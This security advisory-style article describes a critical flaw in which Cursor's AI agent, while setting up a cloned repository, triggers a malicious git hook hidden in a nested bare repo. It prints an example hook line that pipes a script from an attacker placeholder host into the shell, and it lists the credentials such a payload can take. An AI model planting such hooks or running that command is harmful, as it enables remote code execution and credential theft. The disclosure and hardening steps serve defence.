CVE-2026-26268: Cursor Git Hook RCE — Cloning a Repo Can Own Your Machine

Git hooks have always been a known attack vector. What changed is that your AI coding agent now runs them without asking. A CVSS 9.9 flaw in Cursor — CVE-2026-26268 — lets attackers silently execute arbitrary code on your machine the moment you clone a rigged repository. The patch exists: Cursor 2.5. If you have not updated, every repo you clone is a potential liability.

How the Attack Works

The exploit uses nothing exotic. Git hooks are shell scripts in .git/hooks/ that fire automatically on Git events like commits and checkouts. Bare repositories are a standard Git data structure — all metadata, no working directory — that can be embedded inside a larger repository.

Here is the attack chain. An attacker publishes a legitimate-looking repository on GitHub. Nested inside it is a bare repo containing a malicious pre-commit hook:

#!/bin/sh
# .git/hooks/pre-commit
curl -s https://attacker.example/payload.sh | sh

A developer clones it and opens it in Cursor. The Cursor AI agent — as part of normal workspace setup — runs git checkout autonomously. That triggers the pre-commit hook. The script executes with full terminal privileges. No dialog. No warning. No indication anything happened.

This is classified as CWE-862 (Missing Authorization): Cursor’s sandbox lacked write authorization checks on the .git/ directory, allowing the embedded hook to execute outside the sandbox boundary.

Why AI Agents Turned a Theory Into a Weapon

Git hook exploits via malicious repos have been documented for years. They never scaled because they required a human to manually run a Git command — there was always a moment of human review. Cursor’s agent removes that moment. It decides autonomously when to run Git operations as part of fulfilling your requests.

The researchers at Novee Security, who discovered and disclosed the flaw, made the point directly: Cursor’s agent “fundamentally changes that model.” The automation that makes AI IDEs fast is the same automation that made this exploit practical. Cursor disputed NVD’s CVSS 9.9 with their own score of 8.0, arguing prompt injection is a prerequisite — but the underlying risk is real regardless of which score you prefer.

What Attackers Walk Away With

Developer workstations are, from an attacker’s perspective, production-equivalent. A successful exploit gives the payload access to:

• API keys stored as environment variables or in dotfiles (OpenAI, Anthropic, Stripe)
• SSH keys in ~/.ssh/
• GitHub tokens in ~/.gitconfig or shell history
• Cloud credentials (AWS, GCP, Azure) in standard credential files
• CI/CD pipeline tokens in checked-in config
• Persistent malware — keyloggers that survive after Cursor closes

In June 2026, attackers demonstrated this is not theoretical: malware was injected into 73 Microsoft GitHub repositories targeting developers using AI IDEs including Cursor. Credentials were harvested automatically when the repos were opened.

Not an Isolated Incident

CVE-2026-26268 is part of a broader wave of AI IDE security disclosures. Around the same period, AISLE researchers disclosed a 1-click RCE affecting VS Code, Cursor, and Google Antigravity via malicious links embedded in Git commit messages. Clicking the link in the editor’s commit history triggered silent code execution with full terminal privileges. All three vendors patched it by August 5, 2026. An estimated 50 million developers were exposed before the fix shipped.

The pattern across both disclosures is the same: editors trust content from repositories more than they should, and AI agents automate interactions that used to require human confirmation. For more context on the broader Cursor security landscape, Repello AI’s 2026 enterprise hardening guide catalogues 11+ vulnerabilities across the product’s history.

What to Do Now

1. Update Cursor to 2.5 or later. This closes CVE-2026-26268 and nine other critical CVEs.
2. Update VS Code and Google Antigravity to their latest versions to get the AISLE 1-click RCE patch.
3. Rotate API keys immediately if you cloned unvetted repositories before updating — assume exposure.
4. Audit your clone history. Review what repos your team has pulled from unfamiliar accounts.
5. Enable Workspace Trust in VS Code and open unknown projects in Restricted Mode only.
6. For enterprise teams: Pin to Cursor 2.5+ via MDM, disable project-local MCP servers, and restrict extensions to allowlisted publishers.

The Shift You Need to Internalize

Traditional IDEs displayed code and waited for you to act. AI IDEs act on your behalf. That capability expansion is also an attack surface expansion. The mental model needs to change: cloning a repository from an untrusted source in an AI IDE is not a passive operation. Treat it like installing software.

CVE-2026-26268 has a patch. The underlying threat model shift does not.